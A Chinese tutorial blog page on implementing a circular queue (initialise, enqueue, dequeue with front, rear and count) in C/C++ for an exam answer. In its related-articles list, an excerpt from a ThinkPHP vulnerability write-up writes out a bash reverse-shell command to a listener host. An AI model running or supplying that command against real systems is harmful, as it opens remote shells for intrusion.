当前位置: 首页 > news >正文

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录

第3题 基于front、rear和count的循环队列初始化、入队和出队操作

得分点(必背)

题解:基于front、rear和count的循环队列初始化、入队和出队操作

数据结构定义

代码解答

详细解释

1. 循环队列初始化

2. 循环队列入队

3. 循环队列出队

示例

1、初始化队列

2、入队操作

3、出队操作


🌈 嗨,我是命运之光!

🌌 2024,每日百字,记录时光,感谢有你,携手前行~

🚀 携手启航,我们一同深入未知的领域,挖掘潜能,让每一步成长都充满意义。


第6题 基于front、rear和count的循环队列初始化、入队和出队操作

假设循环队列中设置front、rear和count分别指示队头元素的位置、队尾元素的位置和队中元素的个数编写算法,实现基于此结构的循环队列的初始化、入队、出队操作

得分点(必背)

/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;}
// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;}
/*--------以上卷子上得分--------*/

题解:基于front、rear和count的循环队列初始化、入队和出队操作

在这个题目中,我们需要实现循环队列的初始化、入队和出队操作。循环队列使用数组实现,front和rear分别指示队头和队尾元素的位置,count表示队列中元素的个数。以下是代码及详细解释。

数据结构定义

假设循环队列的数据结构定义如下:

#define MAXSIZE 100 // 队列的最大长度
#define TRUE 1
#define FALSE 0typedef struct {int element[MAXSIZE]; // 存储队列元素的数组int front; // 队头指针int rear; // 队尾指针int count; // 队列中元素的个数
} SqQueue;
代码解答
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
/*--------以上卷子上得分--------*/
详细解释
1. 循环队列初始化
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
  • InitQueue 函数用于初始化循环队列。
  • Q 是指向循环队列结构体 SqQueue 的指针。
  • Q->frontQ->rear 初始化为0,表示队列的起始位置。
  • Q->count 初始化为0,表示队列中当前没有元素。
2. 循环队列入队
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}
  • EnQueue 函数用于将元素 x 入队。
  • Q 是循环队列结构体的引用。
  • 首先检查队列是否已满(Q.count == MAXSIZE),如果已满,返回 FALSE
  • 如果队列未满,将元素 x 存入 Q.element[Q.rear] 位置。
  • 更新 Q.rear,使其指向下一个位置 (Q.rear + 1) % MAXSIZE,这是循环队列的关键操作,使 rear 在达到数组末尾时能够循环回到数组开头。
  • 更新 Q.count,元素个数加1。
  • 返回 TRUE,表示入队成功。
3. 循环队列出队
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
  • DeQueue 函数用于将队列中的元素出队。
  • Q 是循环队列结构体的引用。
  • 首先检查队列是否为空(Q.count == 0),如果为空,返回 FALSE
  • 如果队列不为空,将 Q.element[Q.front] 的值赋给 x,即出队元素。
  • 更新 Q.front,使其指向下一个位置 (Q.front + 1) % MAXSIZE,这是循环队列的关键操作,使 front 在达到数组末尾时能够循环回到数组开头。
  • 更新 Q.count,元素个数减1。
  • 返回 TRUE,表示出队成功。
示例

假设有一个循环队列 Q

1、初始化队列
SqQueue Q;
InitQueue(&Q);

此时,Q.front = 0, Q.rear = 0, Q.count = 0

2、入队操作
EnQueue(Q, 10);
EnQueue(Q, 20);
EnQueue(Q, 30);

执行上述操作后,队列 Q 中有三个元素,Q.element = [10, 20, 30, ...]Q.front = 0Q.rear = 3Q.count = 3

3、出队操作
int x;
DeQueue(Q, x); // x = 10
DeQueue(Q, x); // x = 20

 嗨,我是命运之光。如果你觉得我的分享有价值,不妨通过以下方式表达你的支持:👍 点赞来表达你的喜爱,📁 关注以获取我的最新消息,💬 评论与我交流你的见解。我会继续努力,为你带来更多精彩和实用的内容。

点击这里👉 ,获取最新动态,⚡️ 让信息传递更加迅速。

相关文章:

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验

1.题目要求: 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff08;第 h 层&#xff09;…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?

微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

基础岛 - 8G显存验证书生·浦语大模型的Demo

因为以前用过LMDeploy&#xff0c;所以本章的内容相对熟悉。 另外&#xff0c;因为教程写的很详细保姆级&#xff0c;所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论&#xff1a; LMDeploy的模型加载有点慢&#xff0c;但推理速度快&#xff0c;符合预…...

Jangow靶机攻略

搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...

Vue项目通过宝塔部署之后,页面刷新后浏览器404页面

目录 报错 解决方法 报错 将vue项目在宝塔上部署&#xff0c; 当项目挂载到服务器上去&#xff0c;进行浏览器的访问&#xff0c;是能正常访问的&#xff0c;可是当我们在浏览器上进行刷新之后&#xff0c;浏览器会给我们返回一个404的页面。 解决方法 &#xff08;1&#…...

Java一一一简易图书管理系统

Java一一一简易图书管理系统 1. 需求分析 功能需求&#xff1a; 添加图书删除图书更新图书信息查询图书列出所有图书 2. 设计 实体类&#xff1a;Book业务逻辑类&#xff1a;LibraryManager 3. 实现 3.1 Book类 public class Book {private String id;private String t…...

Ubuntu配置carla docker环境

前言: 本文只在以下设备成功运行, 其他设备不保证能成功, 可以参考在自己设备进行配置 环境 ubuntu 20.04carla 0.9.15gpu 3060(notebook) 安装显卡驱动&nvidia-container-toolkit 显卡驱动 安装完成系统后直接在’软件和更新->附加驱动’直接选择470(proprietary…...

超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)

​ FLUX.1模型是什么&#xff1f; FLUX模型是一个开源的AI图像生成模型&#xff0c;由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室&#xff08;Black Forest Labs&#xff09;由前Stability AI核心成员团队成立&#xff0c;专注于开发高级生成式…...

用快马ai快速原型:五分钟生成一个qt文件下载管理器界面

今天想和大家分享一个快速验证UI设计的小技巧——用InsCode(快马)平台五分钟搭建Qt下载管理器原型。作为C开发者&#xff0c;每次用Qt做新项目时最头疼的就是各种初始配置&#xff0c;而这次尝试让我发现了个新大陆。 需求分析 我需要验证一个下载管理器的界面交互逻辑&#xf…...

Windows系统终极清理指南:用Win11Debloat免费快速释放30%系统性能

Windows系统终极清理指南&#xff1a;用Win11Debloat免费快速释放30%系统性能 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declu…...

从零到一:Keil5环境搭建与STM32项目实战避坑指南

1. Keil5安装与基础配置 第一次接触Keil MDK的开发者&#xff0c;八成会在安装环节就踩坑。我当年用STM32F103C8T6做毕业设计时&#xff0c;光是解决xerces-c_3_0.dll缺失问题就折腾了一整天。这个经典错误其实有更稳妥的解决方案&#xff1a;除了将dll文件复制到System32目录…...

脑波版权战争:EEG数据生成音乐的侵权迷局与软件测试从业者的专业审视

一场源于“思想”的诉讼当音乐不再仅仅诞生于琴弦的振动或声带的共鸣&#xff0c;而是直接源自人类脑电波&#xff08;EEG&#xff09;的细微起伏时&#xff0c;一场前所未有的版权战争悄然拉开了序幕。近期&#xff0c;数起围绕“用EEG数据生成的音乐”的侵权诉讼&#xff0c;…...

网易云无损解析工具:高效解析与资源管理全指南

网易云无损解析工具&#xff1a;高效解析与资源管理全指南 【免费下载链接】Netease_url 网易云无损解析 项目地址: https://gitcode.com/gh_mirrors/ne/Netease_url 在数字音乐收藏领域&#xff0c;用户常面临音质受限、批量下载繁琐、元数据缺失三大核心痛点。网易云无…...

如何绕过百度网盘限速?这个开源工具让你免费享受会员级下载速度

如何绕过百度网盘限速&#xff1f;这个开源工具让你免费享受会员级下载速度 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的龟速下载而烦恼吗&#xff1f;每天…...

告别黑苹果配置难题:零基础也能轻松上手的智能工具详解

告别黑苹果配置难题&#xff1a;零基础也能轻松上手的智能工具详解 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 你是否曾因黑苹果EFI配置的复杂流程…...

uosc:革命性MPV播放器UI,基于接近度智能显示界面元素

uosc&#xff1a;革命性MPV播放器UI&#xff0c;基于接近度智能显示界面元素 【免费下载链接】uosc Feature-rich minimalist proximity-based UI for MPV player. 项目地址: https://gitcode.com/gh_mirrors/uo/uosc uosc是一款为MPV播放器打造的功能丰富且极简的基于接…...

nli-distilroberta-base惊艳效果:支持动态max_length配置,兼顾长文本与低延迟需求

nli-distilroberta-base惊艳效果&#xff1a;支持动态max_length配置&#xff0c;兼顾长文本与低延迟需求 1. 项目概述 nli-distilroberta-base是一个基于DistilRoBERTa模型的自然语言推理(NLI)Web服务&#xff0c;专门用于判断两个句子之间的逻辑关系。这个轻量级模型在保持…...

OpenClaw异常处理:Qwen3-4B模型的任务失败恢复机制

OpenClaw异常处理&#xff1a;Qwen3-4B模型的任务失败恢复机制 1. 为什么需要关注OpenClaw的异常处理&#xff1f; 上周我让OpenClaw帮我整理一个月的会议录音转文字稿&#xff0c;结果第二天发现它卡在第七个文件就停止了。这种半途而废的情况在使用本地大模型时特别常见——…...